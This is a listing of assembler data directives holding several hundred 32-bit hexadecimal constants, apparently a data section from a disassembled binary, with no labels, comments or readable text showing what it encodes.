		dd 5B44318h, 10182538h,	0AC6A0EF6h, 0D7E0AA12h,	46740005h
		dd 93351E88h, 0C625DF08h, 59637409h, 51F0DF46h,	0F4FDF857h
		dd 0FE029EF6h, 0F089D138h, 1111D55Eh, 813CA829h, 5350EA09h
		dd 9BF5132h, 7D401268h,	4292B1E9h, 0B19CB998h, 2D158804h
		dd 0CEF480FEh, 5F67870Dh, 7AA1E06Ah, 0E8E4E2Eh,	322378FFh
		dd 7806F231h, 854AE9D0h, 73BB1DD0h, 0FF60D626h,	0AED10120h
		dd 0ABFC58FDh, 1253B94Eh, 0E90BDD29h, 0C78B10AFh, 54B0131Ch
		dd 0EDC0FB31h, 0B0A1373Fh, 83FA5EEDh, 34D00C0Ah, 0E57B2C1Eh
		dd 2E03665Fh, 0C14DDDF7h, 8F23C830h, 22DA6802h,	2C87987h
		dd 0F82DDD26h, 0A11FC86h, 50FE7F2Ah, 0FCA82CD2h, 5A81C3CCh
		dd 29683BD9h, 96A6CA4Fh, 2CE67544h, 0D582D1C7h,	3370605Ah
		dd 25DD1759h, 8955029h,	0A203858h, 0B8D47097h, 0AFDC9D54h
		dd 4515209h, 89D5BB15h,	8A5884E8h, 929BE816h, 6875A47Eh
		dd 0FC57CBD5h, 0F4995BA2h, 6217B5FBh, 100130ADh, 49DB1E73h
		dd 0B81F126Fh, 363503C9h, 0DD41C916h, 6D525ABFh, 7EA28341h
		dd 0F8BACCC4h, 83BCB4FDh, 87D084F2h, 21A12B55h,	2EBD41F2h
		dd 58247BC4h, 8D50EA1Eh, 60E3800Fh, 0AAEE3804h,	50892161h
		dd 69BF5700h, 727B76F4h, 79AB6A2Dh, 0BEC18107h,	0F95C7CE0h
		dd 7767A5E2h, 40BBBE67h, 0FEF42D33h, 48E97BD4h,	990D6ADFh
		dd 697369F1h, 0D5805813h, 973A3368h, 17B68F4Ch,	9BD6861h
		dd 2294D93Eh, 0FDE11015h, 2FD9527Dh, 945D292Dh,	535C694Bh
		dd 58B06DB3h, 0C15B215Ah, 0A83C0BF6h, 0A7B1BFC0h, 0CDC54992h
		dd 5984F2B8h, 6D14C2h, 908B3BABh, 4D8BB53h, 12C671Ch, 38F3EED9h
		dd 0C1C00690h, 174A6132h, 8311FABDh, 280C4008h,	5568175Bh
		dd 0C6676120h, 4CE5636Eh, 11B0049Ch, 63AF62FBh,	0FE842EFAh
		dd 1659C641h, 0CDD833FDh, 0D04E1842h, 0AA951837h, 1085C658h
		dd 5500B8F2h, 7008D4BDh, 3001BF38h, 0E9AC2E15h,	209E37EBh
		dd 0E10B82BAh, 44E24A31h, 72DD7BE2h, 9B5F2D73h,	0FAAC1457h
		dd 1AB76215h, 0B640C231h, 612660E1h, 3F0B6523h,	82B7E19h
		dd 0DEB0DC62h, 978240DFh, 720FF74h, 9D5F3290h, 9DBF1D16h
		dd 16353296h, 0A443D04Ah, 0CA76E068h, 401DCF8h,	805BDF09h
		dd 0CB308DF2h, 0CF313A18h, 9572E93Fh, 685FF780h, 459347BEh
		dd 0F7403404h, 0C84CF84h, 69C03DBCh, 584B4615h,	6BC93507h
		dd 3A5564CAh, 0FF74F9C2h, 5694F344h, 6A97C86Ch,	2CF0A6CBh
		dd 0A0762587h, 0E746C3C0h, 20D17F1Fh, 91903E25h, 0E200BCFEh
		dd 82BD6F0Bh, 0A3735C34h, 5957C8E8h, 887A9D38h,	495D0882h
		dd 4E2EE2Bh, 5E5B8051h,	13487054h, 0CB5852A7h, 1EB8FD31h
		dd 5C81EC73h, 0AF906428h, 0F862A61Fh, 80F6BDF0h, 56ABCE0h
		dd 0C1E1A045h, 401C0B3Eh, 6A7F4908h, 2589C043h,	4496E76Dh
		dd 3F13EC2Eh, 3BFBDA89h, 0D75025B8h, 1355522Bh,	976D101h
		dd 0D523463Bh, 0D6F98C04h, 0C5E38BF6h, 4B93B127h, 423CEEFDh
		dd 63590BD2h, 9CCD9ED5h, 0D0515254h, 0A5265D08h, 848EE557h
		dd 0E20AF6E9h, 0CBF95F43h, 0BFB7D79Fh, 0DDC10FC2h, 0D80885C7h
		dd 0B933A3Fh, 0E54E41C0h, 0E56F79CAh, 0EDC0DBD1h, 9FE45558h
		dd 1EB3290h, 80ECC128h,	51F200EBh, 0C0AEB652h, 0FE3E08E6h
		dd 882861C6h, 0C3D95AF5h, 0DFEB28E0h, 93595D2Eh, 0CAA4EBCBh
		dd 0FC7BF3F2h, 2FC5D0C1h, 5C9EE032h, 0FE4F5F21h, 0D0B10462h
		dd 0DE6810D7h, 1731754Bh, 0C42FF736h, 948A0405h, 0B7B80469h
		dd 787EA0FBh, 0BE3A8095h, 7A7F076Bh, 0EF652618h, 0ABD95308h
		dd 0D859252Dh, 0A092F2DAh, 0CACCAFDFh, 9F018713h, 45774C89h
		dd 28E9826Ah, 6B51FFB3h, 79C4310Bh, 0FF902709h,	0BCB46554h
		dd 1E08E363h, 19322C75h, 0FE89BB82h, 0A1604D7Fh, 1F270894h
		dd 0AEA8816h, 970F0E5Fh, 0EAC2845Ah, 25E9E988h,	0BB747035h
		dd 5503F24Ah, 7B735D0Ah, 7EDE346Dh, 0E17B822h, 0B11360Eh
		dd 18C5809h, 0C01E2C1h,	3C3FE944h, 0FD8713CFh, 0EB7753FFh
		dd 0E6C9D780h, 83974A60h, 108105C4h, 0D866605Ch, 14E29DA0h
		dd 39C14379h
		dd 0C6A3E902h, 2DAC4EA3h, 24F646C3h, 0C9B23AFDh, 6605DAD4h
		dd 0D042232Ch, 0D885E9C1h, 20CB4695h, 0BF0774C8h, 2BD63DC0h
		dd 0EA467CA2h, 2302DFF2h, 0F85E60F5h, 0E2FDE153h, 0FBEF7B93h
		dd 0E75B01C3h, 0DDAA86B4h, 64BF3A80h, 0F01CBC9Bh, 972CC368h
		dd 0B6803CECh, 9091C33h, 5D96465Dh, 0C954DB8Bh,	4E93D358h
		dd 1E63E096h, 509C40h, 270DA5B8h, 0F773569h, 8041B43Ah
		dd 289302D6h, 0A30B07E9h, 2324BF20h, 0F254338Ch, 0E9E367B4h
		dd 5735E0EEh, 0B3F8967Ah, 0CBF03241h, 24131DBAh, 84F39E16h
		dd 84567E53h, 0FCB75792h, 0A10910C5h, 652C814Ch, 0E77AD26h
		dd 1E498319h, 44AE074Dh, 0EF29A026h, 93C0F996h,	548E32AEh
		dd 9802542Ah, 0F50BBC72h, 5BE308A0h, 41610203h,	4D32469Ch
		dd 410FE730h, 0BD93D46Dh, 0DFCB9ADCh, 0E6718F18h, 27D10DD1h
		dd 727102C4h, 0EAC93662h, 5104440Bh, 130CDE8Dh,	0F7FF4B5Fh
		dd 0E0F91084h, 91296612h, 10BD5108h, 726138C5h,	0BB89812h
		dd 0C62110Eh, 23D5B80h,	0BED444BEh, 125F3F7Fh, 0B0EF0DA2h
		dd 76BD581Eh, 61C1A511h, 2EBE6177h, 765DB109h, 0EF89E2EFh
		dd 6863427Eh, 388C9CCFh, 1854B651h, 0E1F726C5h,	4F3A6812h
		dd 0F30D71ABh, 0F122AEBCh, 6294FF25h, 7E887AC3h, 90BE7652h
		dd 5808811Fh, 0C21FF82Fh, 75FF6B7Bh, 84CFC5F4h,	0A58ABE9Dh
		dd 9B2BEA5Ah, 2C84E84Fh, 2D9323D5h, 0D0E493FFh,	345A0CE9h
		dd 5B03DE8Dh, 281BC780h, 0ADEFABF7h, 0A87F9CEBh, 7514429Dh
		dd 0E5498973h, 0E9B53071h, 14B266A2h, 4E779838h, 4E5C9BFFh
		dd 8B6A5799h, 0C2951143h, 3AD52460h, 85BA0AA6h,	84580782h
		dd 7271FD0Eh, 606BA97Ch, 90D428F6h, 43A3619Dh, 0DF1257EFh
		dd 0FE5E6ACEh, 13EB8284h, 0E1515652h, 41D67F3Ah, 0D1529F0Ch
		dd 5010CCBh, 58020201h,	0F49B7AE9h, 41BD8CC5h, 0B7E890Dh
		dd 18D2812Dh, 0F867E025h, 4E17B051h, 2AABC922h,	0F83B06DDh
		dd 0AEFCA599h, 0ED7D68F2h, 252E24F8h, 0DFDEE27Dh, 960D8C40h
		dd 0F3F81F5Bh, 89C7BB24h, 3ECC1888h, 2B947D7Eh,	459B8F49h
		dd 61AE91F1h, 41C629F8h, 46DF381h, 6880C0AAh, 6FB614EDh
		dd 9041896Fh, 83052E83h, 33448E98h, 50951B4Ch, 68977C5Eh
		dd 200ECEFEh, 0C6058F2Fh, 3E8BF3BCh, 0A5E9BA91h, 81507CD6h
		dd 501B3505h, 1DEB3049h, 2FFDD97Dh, 212035CDh, 904660AEh
		dd 5D230EBAh, 20E5104Ch, 8BB905F6h, 0C2273F1Bh,	47ECC7A4h
		dd 3C36C20h, 41405CBEh,	1DA4674h, 801CEB50h, 0CACE3CC2h
		dd 68EAC765h, 0BABCBE5h, 6B575EF4h, 217FD9A9h, 59D76D83h
		dd 0CAC36DC5h, 81D4B9ACh, 3A9D4240h, 344BD440h,	704A7662h
		dd 0B56B06C2h, 1CCA010Ah, 0EE080882h, 96F42F14h, 0AA7C1289h
		dd 0F003298Eh, 0E20DAE6Ah, 8BF756F6h, 6680B5E1h, 4BD98774h
		dd 4A406D4h, 20A3785Fh,	796BA380h, 0AE544AA1h, 0B76F9439h
		dd 8B802CBDh, 9E59EA5h,	19DF6851h, 19B1E446h, 0B7E58103h
		dd 680D9070h, 8C604AB1h, 0F001BEAh, 0CA81555Dh,	58696736h
		dd 41057F4Ah, 0C125547Eh, 6FFEE4F9h, 0EF1217FDh, 0F4B1A92Fh
		dd 0D2D75C04h, 6541FB17h, 1D8EFA31h, 145F2D60h,	8E11246Bh
		dd 0A258F502h, 20F70968h, 0BF0410C7h, 9764B733h, 0BAD2E916h
		dd 25622690h, 8123000Fh, 90799F7h, 0E62DE911h, 47107D36h
		dd 1E2D4640h, 61D0C264h, 2087FCD1h, 85F0215Ah, 0C0A19406h
		dd 7B9A2782h, 59DFAF4h,	27BF5D31h, 2C777282h, 8BB9BC61h
		dd 5F585B1Ch, 462E6C8Bh, 80D5F7E4h, 4D738E18h, 0D3E177Eh
		dd 39CD4EBh, 0E2F07D4h,	5DC64D5h, 0A2AFD729h, 35E9A0DAh
		dd 9B9B915Ch, 84DCB8C1h, 0D6A8D284h, 0C58F2DFh,	746D046Ch
		dd 0BA69439Eh, 97965D22h, 4B212259h, 0BF4A91F8h, 2768FA9Ch
		dd 39F66442h, 853559D2h, 548F66E9h, 16778D51h, 0FA4D2863h
		dd 0FCEA7140h, 18B2D79Bh, 7DCD46E9h, 779505F8h,	250A9F0Ah
		dd 0EAAA635Dh, 4AD2ECC8h, 0BC85BB2Dh, 128DDEBEh, 2CF121E9h
		dd 64AC62Eh, 7E82535Eh,	0BCF55156h, 935AEEAFh, 0A1E925h
		dd 5A685FBBh, 8FD1B56Dh, 362E961h, 5B24F669h, 4128037Eh
		dd 90CC33D1h, 5D13C75Ch, 7664BA27h, 8108A0F2h, 0E22B97D8h
		dd 6A2B841Ah, 591DE812h, 7BA25F2Dh, 0A7E0461Eh,	0F8974C75h
		dd 95F77C5Bh, 9D5CE3FEh, 5B5F737Ah, 12DED06h, 9D29D29h
		dd 2D8111A5h, 55232F7Ch, 0E5E1739Dh, 9480A2Ah, 0DD002BA1h
		dd 42E0234Dh, 0BE27C9ECh, 0B06DC379h, 5D621418h, 7F091A5Bh
		dd 40577BE7h, 928E95E5h, 5582DC3h, 89768F7Fh, 0EA345030h
		dd 8FB758EEh, 705E68C2h, 28F8EDDFh, 0F7738AA3h,	5F25A8D0h
		dd 2910C05Eh, 0A9244B77h, 54AF8428h, 0C251E3BFh, 480E5EE9h
		dd 905AD652h, 204D98B2h, 6DB0BED2h, 4B30C678h, 0CB0D1026h
		dd 48E32E17h, 2E413A3Ch, 0BDF45FCh, 5DA76E60h, 919D7542h
		dd 3EEFC118h, 0E999E3C3h, 96F92A19h, 0B824162Eh, 9BE9F1AEh
		dd 6A19F12Bh, 0F780988Eh, 381968ECh, 0B7891CB9h, 0C3DAD06Bh
		dd 0D7F60506h, 0F39090C6h, 21FAC44Ah, 3ADBC747h, 0AFD61AB9h
		dd 973E742Ch, 2B56F78Bh, 0E8E9B352h, 0E0CF2C96h, 0B7D3FBF0h
		dd 0CE685A81h, 7F9FF83Bh, 0A55EB7B4h, 0ED57270Bh, 0E5E0A72Eh
		dd 3551D168h, 563C5359h, 0C55CB5B2h, 0B8830D2Ch, 0E1DE11E3h
		dd 0E23BAC72h, 0EE7F860Ah, 45F70717h, 0B2621158h, 5175BD76h
		dd 5BDF6997h, 0FE1CC2A3h, 1798B6C4h, 34CAE206h,	60127CE4h
		dd 4F29605h, 2F4AEC64h,	0DFE810B5h, 0BA51B7FEh,	5F1612ADh
		dd 8549B67Bh, 0D4BE8E89h, 10F6BEC4h, 0AD5C5432h, 0BF7166Ah
		dd 7E4EF7E4h, 7FD7498h,	5CEB6861h, 80A9BC2Bh, 0DC34D3B8h
		dd 15E91312h, 2ACCA5A1h, 0B0ED19B5h, 0EB48E37Ch, 0B8A4F85Eh
		dd 0F9524AA0h, 0D55CCBC1h, 0CA358866h, 16F025BFh, 955B4E74h
		dd 8C47EC56h, 8424D05Ch, 706FFB4Ch, 0EAD908A1h,	8ECB2BE0h
		dd 4D807B9Eh, 5040B5Bh,	0F4A412B7h, 57BCA0FBh, 0F35395B8h
		dd 3C68C2FCh, 96C19C34h, 967DA76Dh, 0CCE91795h,	917A2781h
		dd 60052C3Bh, 19F0892Ch, 0C0CF1EC0h, 584CC940h,	520E7151h
		dd 415F302Fh, 0DC19B2CDh, 29383075h, 0E703E099h, 0D949CA62h
		dd 0BF44BE98h, 0EED0F6F2h, 3B28E810h, 1631058h,	0F73EF45Bh
		dd 9507E3E6h, 0E9FD298Bh, 22C3DC6h, 121594BEh, 27D3116h
		dd 0CAFDF766h, 7878D73Ch, 2ED8293Eh, 5C95D77Ch,	13532499h
		dd 16E64313h, 6111FD12h, 4770B02Ah, 3257498Ch, 20F30B28h
		dd 8DBB66C7h, 4BD1E847h, 0EB49C4EBh, 59F751Eh, 0D8E94FC2h
		dd 0ABDA77C1h, 9FB87EEDh, 2F240h, 0F77E1319h, 3D6A05D0h
		dd 0E3AEF525h, 0FD2C5A9Ah, 19E90D92h, 5E8772CFh, 4D5F5B68h
		dd 0D5D10104h, 0E01A3E16h, 3E785D22h, 8B10F4BFh, 4F5FADF3h
		dd 0E0D38176h, 4D1F3068h, 2A7FE182h, 0F27BECCDh, 0D1532546h
		dd 42350917h, 0ADBCEAC4h, 4649C8A0h, 0D5532E54h, 151DF02h
		dd 0B5805757h, 4D68BBCAh, 8F6255Bh, 5F073E7Fh, 0A01E55Ch
		dd 1256239h, 8BEA0DAh, 1C7319A0h, 86C2B29Fh, 48BDE23h
		dd 6332DBEAh, 0C581BA02h, 0AD2B2C87h, 520C990Bh, 3928FF2Bh
		dd 0B27A4F8Ah, 9660907h, 0CFF6DEFDh, 12EDC145h,	0D3307F2h
		dd 98E59E49h, 0AEF0FF60h, 29CF5BDFh, 9E44A8EDh,	25C9700h
		dd 0AF63BE5Ah, 389E58DCh, 790CB503h, 52B22908h,	5C588BFFh
		dd 8ED762B7h, 5EA5D05h,	0A6D8D203h, 3EE51588h, 26387835h
		dd 68FE5A07h, 125686Fh
		dd 0D41E5F2Dh, 1BE95505h, 35EFFED5h, 56B780A4h,	6F48997Dh
		dd 64210155h, 0D1012C93h, 0D0081CA0h, 0B85A141Ch, 76EEB473h
		dd 550A0E86h, 5C6EA368h, 7C114272h, 2DF9AE09h, 420C6279h
		dd 0EEC31B7Bh, 522BE940h, 142D06BCh, 389810F9h,	0D3F15D27h
		dd 0C4733869h, 0AF5E8C61h, 0E0E4588Dh, 5FE4FB2h, 85C05F15h
		dd 85381792h, 0C5972186h, 0E9A54C7Eh, 0A172C027h, 0D3285930h
		dd 64C87A89h, 9B781477h, 0F96804D0h, 0C1BFAC51h, 60CB07E9h
		dd 747C6ED1h, 0CE315E09h, 3825C319h, 0E1EC4B27h, 66B6FAF5h
		dd 125CA84Eh, 0A3497955h, 4D300430h, 10DCCA13h,	0BD50E8CEh
		dd 0FEBA2B2Eh, 16CA813h, 6BEA4331h, 3A0C0AE9h, 36B59A77h
		dd 5468A445h, 30F0CDBEh, 4D00453Bh, 514F4782h, 0D4E0CFE9h
		dd 2113E067h, 0CF27A2E8h, 5D1289C1h, 0E0677785h, 0D152F7F5h
		dd 19F74877h, 0E7DB7ED6h, 0B47108DCh, 0B70F432Fh, 2D48401Eh
		dd 691460E0h, 0ADE4C5EDh, 8CC8E84Ah, 0D74332E9h, 0F8DD0528h
		dd 9278F4CEh, 835E5049h, 163071C8h, 1DDF761h, 7D0B0584h
		dd 899AA825h, 4CDA3C02h, 5FCD29C4h, 42D7168Bh, 1D9105BDh
		dd 0CC145DFBh, 680E6334h, 0AEF64B5Ah, 145B8317h, 4A05B747h
		dd 80F11A31h, 574814EBh, 0EB073B7Ch, 41C1639Bh,	44D2F360h
		dd 0C2A608Fh, 0B70CEF6Dh, 0CED9092Ch, 0E2EDA416h, 77584084h
		dd 770B90A2h, 38983819h, 6CB91C33h, 8A32074Ch, 25ACE846h
		dd 0C18F892Ah, 31C1886Ch, 9D4B614Eh, 0C5BDE89Eh, 2B8F256Ah
		dd 78F092DFh, 3E551478h, 1001A759h, 29053F31h, 0B0B928EAh
		dd 5A2893E2h, 0C31CA080h, 0B1EEC103h, 4F1551E9h, 7E11A868h
		dd 7138EAF6h, 92B2F954h, 55A0880h, 2F49D6B7h, 0AB741B70h
		dd 3468C883h, 0C67BBD4Fh, 0EC280B3Ah, 0C2652354h, 89111241h
		dd 0F0C4ABD7h, 402368A4h, 8E00BE27h, 89751A32h,	515EF5h
		dd 60CA6852h, 64E96C0Ch, 7BBC2B4Ah, 6B01FCC2h, 4A80C409h
		dd 0F48CF85Eh, 0E34E33CBh, 9204926Ch, 0E2AFC082h, 54521E90h
		dd 0A999FBCBh, 13627F92h, 9244B07Fh, 3A320048h,	3140C30Dh
		dd 6E122567h, 0D704745Ah, 4C1DD06Ah, 5F0AB045h,	0E557F9B5h
		dd 4B65AE51h, 0CAF99F5h, 4EE9A5A2h, 88095A5Ch, 0B49B82F3h
		dd 2820B04h, 0EB00CF6Bh, 2535536h, 32335245h, 4843642Eh
		dd 56444180h, 495350E6h, 544E1F0Dh, 0A6A4C9Ch, 0F604018Fh
		dd 25C2B5DFh, 4DA0772Dh, 6399AE6h, 0E45C4DF4h, 59327A11h
		dd 1043159Bh, 0EC8B9C81h, 129D9A21h, 8F6112Fh, 0F228425h
		dd 211B429Fh, 111177h, 9A7ACD13h, 4790DFh, 1A5FAC67h, 0E92E7F3Ah
		dd 0FC4E0907h, 5670D9B9h, 0E0F52A4h, 0E029742Fh, 0AEF54500h
		dd 0C70013CEh, 361CA080h, 562F1Bh, 8FBCE71Ah, 38122D7Fh
		dd 85AB13C0h, 4A3E5Ah, 4C77C00Bh, 0AF038E64h, 0A0BBD900h
		dd 0E75AEF1Fh, 53AE00D4h, 0CACBFDB2h, 4A5C99BCh, 0DC2D01A0h
		dd 0E8BA7C97h, 822A180h, 0F64AA5D0h, 0E7022000h, 38B7F226h
		dd 0F917003Dh, 5E2568BAh, 15F41944h, 0CDEBC100h, 810788B2h
		dd 525B003Eh, 7AC04E47h, 5A00927Ch, 6AB1FD3Ch, 0EE83CF8Ah
		dd 72E0EA71h, 9C53095Dh, 3FFE9FADh, 0DE317700h,	0F443FEh
		dd 0C310CBABh, 92E39E7Eh, 0B26D4D03h, 0BF3D1D60h, 73B60850h
		dd 8DD80093h, 59A96444h, 77003212h, 8004E42Bh, 0A84B7F9Ah
		dd 7EB1893h, 0CA115DF7h, 96B11003h, 231ECCB4h, 0E6CE37E1h
		dd 4361808Bh, 7666728h,	567CE75Dh, 57A7D038h, 0C03CE510h
		dd 0BE079670h, 85D22400h, 15F7940h, 3C8C4727h, 0CC412EF5h
		dd 490F8EDBh, 20BD4611h, 7F363989h, 0E72C6090h,	8B6BBE04h
		dd 3881D000h, 0B509D58h, 1F70002Bh, 0ED3FFADAh,	21EECAAAh
		dd 439538h, 0D11A6520h,	0E636F1h, 0B804BF9Fh, 270D9171h
		dd 573E0C10h, 8C80AD08h, 9D311647h, 0E9804882h,	0F6BDF51Bh
		dd 4F3D6D47h, 2889020Eh, 49485D36h, 3D832BABh, 358138EAh
		dd 88D43900h, 44936141h, 0B9C80040h, 3F6AF79Eh,	0BA0090E4h
		dd 0CDE74D9Ch, 0D01566h, 0D8D4EF09h, 0C1F92475h, 607A603h
		dd 0D8E4E75Bh, 77878DBDh, 385E3814h, 53A3E200h,	21712C0Ch
		dd 2413DA06h, 408E0598h, 0C930E4CCh, 3C628B81h,	1A3D0F04h
		dd 0A4401DC6h, 219D7B5Ch, 0C3FBFE00h, 0A1526D8Bh, 3799084h
		dd 8ED72665h, 69E0B073h, 5F00CD85h, 53335934h, 54C98h
		dd 1257A8E7h, 0B3F1D9F4h, 0A0729ACFh, 7592721h,	17DE60ECh
		dd 0E13C678Dh, 990EB7E8h, 0C70E5Ah, 6883BBE6h, 6A192832h
		dd 48950796h, 30EC2B20h, 0CC047D28h, 0CDC6A100h, 0E4023A81h
		dd 0E5500A5h, 0CF21602Eh, 5AE86AB9h, 0DD084003h, 0A03E68B8h
		dd 5C24E2Ah, 1FE61E9Bh,	0D4FB0032h, 3FBEEF19h, 0CFBB20Ah
		dd 0DC809404h, 0A8634396h, 30100059h, 3E32875h,	0B203F748h
		dd 82C517D2h, 6D09B8A2h, 0F8D8001Bh, 0C9A9F23Dh, 7700BE0Eh
		dd 4990DC97h, 12FFE569h, 250E6E4h, 64588528h, 79BE2D60h
		dd 0DD294E03h, 98E2CF96h, 0BD9884Fh, 2072E1FFh,	80D2BE88h
		dd 545580A6h, 1F92CE10h, 8D4EE412h, 0D1323505h,	9170DDA8h
		dd 99B480C6h, 25E282B0h, 1659AB03h, 8BA5C0DEh, 46420753h
		dd 409AF520h, 1E375270h, 0E5F07350h, 11DFBF00h,	103B82D2h
		dd 16149B5h, 396AE11Dh,	955C38FCh, 9306DBC9h, 547BC592h
		dd 90AEBC00h, 293FE24Fh, 5B9E2E36h, 9A6C8078h, 0FE53958h
		dd 41D6F113h, 0F41AA040h, 88B7F899h, 0E7A0D82Ch, 0D64C44C9h
		dd 969F008Fh, 6C8A4B91h, 13AAC322h, 0D0E8F92Ch,	670072AAh
		dd 0D49BD31Ch, 0C875DB1h, 0CEFC1769h, 0DE989D25h, 269A1448h
		dd 0A200A4E6h, 0D31F5E7Ch, 605C03A9h, 966C67A5h, 9FBA65F8h
		dd 0F3F51900h, 0BE0DDBBBh, 483D00D7h, 8EB9B66Dh, 0D6091D69h
		dd 83CE4A0Bh, 0F15C13B4h, 0C30003EBh, 8FFC2A7Dh, 17F7401Fh
		dd 0FB000F92h, 0B999DE2Fh, 69AC1DFEh, 54E6C589h, 24B40002h
		dd 0F5B090D9h, 7E5EA500h, 503077C3h, 0CBE609CCh, 190051FFh
		dd 274B3F6Ch, 0DFFDD304h, 0A6D7DBC4h, 6DBCDA00h, 500400B9h
		dd 8AB57A79h, 0C3001352h, 91E19C7Ch, 0E696834Ah, 69381303h
		dd 29D010Ah, 808F5C4Bh,	0CE2167B9h, 38E433EEh, 0B300BB9Bh
		dd 82D38E6Eh, 0A20E5D3Dh, 0FE2D0D50h, 63A6F800h, 7DC883h
		dd 49995434h, 1B672202h, 70F4D402h, 235B6F8Ah, 4A98DB08h
		dd 1100ECFBh, 0BAC319Dh, 386FBBE0h, 0F846128h, 809BD6F4h
		dd 9D8C951Fh, 826E3301h, 0FB265EC3h, 0F438AF8h,	0D5F3CD7Ch
		dd 2CCFCBE6h, 79B9A909h, 780018Ch, 0A007FD51h, 1CE32A7Ah
		dd 0BBD70212h, 8CE08720h, 7D9809B6h, 3C07FB5Ch,	0E2E8B10Fh
		dd 814330E3h, 5235B00h,	6D3479C6h, 2E280E53h, 3EA09A7Ch
		dd 0A4F614EAh, 0D3186500h, 0C6C7F20Ch, 619231h,	78BD0E4Dh
		dd 2C75C4B1h, 134B6501h, 0EEF0DAF5h, 4D735E81h,	20214722h
		dd 381F43CBh, 0B9412DB8h, 551C61AEh, 19BB420h, 0C90C6FAh
		dd 9FC91D8Fh, 3480BAF0h, 0F231497Ah, 35601EA5h,	0C716405Ah
		dd 8F21EAD8h, 0ED866900h, 9666CE94h, 578201BAh,	29FF5376h
		dd 4284300Bh, 4F3B1200h, 71729D67h, 4CD83C49h, 0D605BE48h
		dd 81044B97h, 0D81255C8h, 0C000631h, 0F3BE0551h, 4905326h
		dd 9F8AF91h, 4E69A076h,	0D5B50804h, 82C0CB1Ah, 559AE7h
		dd 2469BA75h, 0F4378944h, 9B001477h, 6A4A8DDFh,	171B64AFh
		dd 4930803Bh, 0B30002D7h, 74567157h, 8195348h, 0D6CAF7h
		dd 3A394440h
		dd 9B77C601h, 0F243EC1Fh, 117928C0h, 3CE32109h,	9293E4ABh
		dd 0C4700974h, 274D8A03h, 907AB5FFh, 3A014848h,	0EFBACCF7h
		dd 818C4C24h, 6F5E1503h, 0E6D1170Eh, 638549A0h,	0ED322940h
		dd 1520D05h, 2981DCBCh,	3DCAC8Ch, 0E2250077h, 0B3FC4702h
		dd 0C80918D3h, 0E6A181h, 9EF7317h, 0D1DC61EEh, 236E628Fh
		dd 5E122DDh, 0F30F5E9Dh, 6075C0A8h, 40061B46h, 55311934h
		dd 8CB2003Ah, 0A7F73654h, 0AC009960h, 0B4DF175Ah, 18D82A7Ch
		dd 2D5F6B86h, 0FF30E60Ch, 72980FCBh, 0A49F0157h, 37A05B82h
		dd 809BED0Ch, 9E65AA4Fh, 75F5984h, 2947256Eh, 905791EAh
		dd 0F85E2076h, 4AEED830h, 2EA3EF2Eh, 7C33E89h, 86BEDC14h
		dd 44001FA7h, 0F218F31Eh, 646782D4h, 81B61963h,	0EF435D03h
		dd 92BD3D12h, 49729001h, 29801C2Eh, 6C2DC6CFh, 0D900F00Eh
		dd 753C74ACh, 1A8FAB1h,	0E8052F82h, 406B8CF3h, 3B1962E5h
		dd 0C0021D1Eh, 7DA340F0h, 0C973B6h, 0E1AB6F36h,	0DF0A53A2h
		dd 6EBA25h, 32F94020h, 0A8340082h, 4491B706h, 0AC306D88h
		dd 76D27839h, 586E02Ah,	2DEB7BE4h, 0AED98081h, 54001B62h
		dd 0BD21567h, 7C56746Ah, 1F87F2FAh, 40647ACCh, 2A62A9F9h
		dd 7B002BF2h, 0FB19A13Bh, 0F60A4D9Fh, 0BE1D5C6Fh, 0A9D62607h
		dd 43C8605Ah, 70C3BD5h,	0C6522A20h, 5B9300B9h, 0FA18D894h
		dd 1E30398Bh, 99BF1D2Ch, 0F749006Eh, 0C5796B4h,	0FF3BFCC3h
		dd 952D8074h, 0E40F47FBh, 0DD1C1DEAh, 0F700FA8Ch, 0D49D64ABh
		dd 0AE004D34h, 405E1E9Fh, 65198E4h, 236AB671h, 7009E5Ch
		dd 743B73BCh, 0CCEAC6h,	0FDDD2470h, 0E8AFF642h,	0F90099E2h
		dd 10C0E0FBh, 0FC96F11Ch, 334E0F6Ch, 594B38BAh,	1358BD80h
		dd 0E7000DE8h, 0ECC21607h, 1E0B3CEh, 0FB5F20ADh, 0CC210ED5h
		dd 0F31EAE8Eh, 6BC77AA7h, 20FF679Eh, 3258195Ch,	6A3300FAh
		dd 88F41884h, 0DA3EF8D4h, 0BEB007Eh, 0F6BD0450h, 0A0B80C09h
		dd 0D1550D54h, 80C38A38h, 0EBE3A2A8h, 3C1B410Ah, 5C80BE10h
		dd 6816DD15h, 12006E8Ch, 69437BC2h, 72F8BA9h, 1BC9CE3h
		dd 0EEA7E4B5h, 60C19AB1h, 0F28BFA2Ch, 0C417A980h, 24E710FDh
		dd 32007938h, 0EA337E6Bh, 0E43623h, 9BEDDAA1h, 53A49158h
		dd 5A470E00h, 1401C80Dh, 0B57C16C5h, 5FA2F8C3h,	68A0C4BDh
		dd 469707D4h, 5465279Ah, 48BBCA90h, 0D99F2CE2h,	4B8A0FC1h
		dd 28D0C86Bh, 41EB3AE5h, 107546B2h, 5129E18h, 728AF341h
		dd 0AC7BE44Fh, 0B1BEA4A8h, 0E215EC9Eh, 478F7F02h, 83BA5208h
		dd 0CA572909h, 0ABF95F5Ah, 5E165749h, 0DC36E916h, 0FB02CB00h
		dd 64F0DDh, 89F2BC10h, 0B8066101h, 39A1AA1Dh, 0FFC50340h
		dd 0B4966E0h, 0A60D7905h, 5D1DDA80h, 78006F4Ah,	0A7138F08h
		dd 29B506h, 5532A46Ah, 74AA1126h, 62658E00h, 0D2BA9958h
		dd 0F7930F42h, 0B8C037AEh, 659226CAh, 5C07257Ch, 991A54F3h
		dd 0E1C02837h, 52B585h,	780384B8h, 5A1C93F2h, 722ED2Ch
		dd 0C6E70701h, 37714775h, 1E48E6F4h, 805E214Ah,	37A449D4h
		dd 90E6DA0h, 5F62C1ACh,	0E80B4602h, 2483A006h, 7ECD13Bh
		dd 0B360F46Eh, 1D12E6B1h, 8A19D900h, 239DAF6Ch,	495A0042h
		dd 3BC6EFC0h, 0FE0AAD1Bh, 0B66158A3h, 0A81AE801h, 1F2038F2h
		dd 666940DBh, 8339BA12h, 8B0EB2B2h, 0BF250F1Ch,	9CFA01F1h
		dd 200BC1BBh, 450FC809h, 0A36649BDh, 768AE0h, 251C8D16h
		dd 89FBB070h, 0EC803EC3h, 5DF699F8h, 6642003Eh,	810233B8h
		dd 76A4F925h, 850F0ADDh, 4DEB2DDBh, 0AD238100h,	9A542036h
		dd 3CE20043h, 0AA0804F5h, 371D4DDFh, 78C36146h,	0C047951Ch
		dd 0F8406017h, 24DC3D26h, 4D1D253Ah, 35C1289h, 45631742h
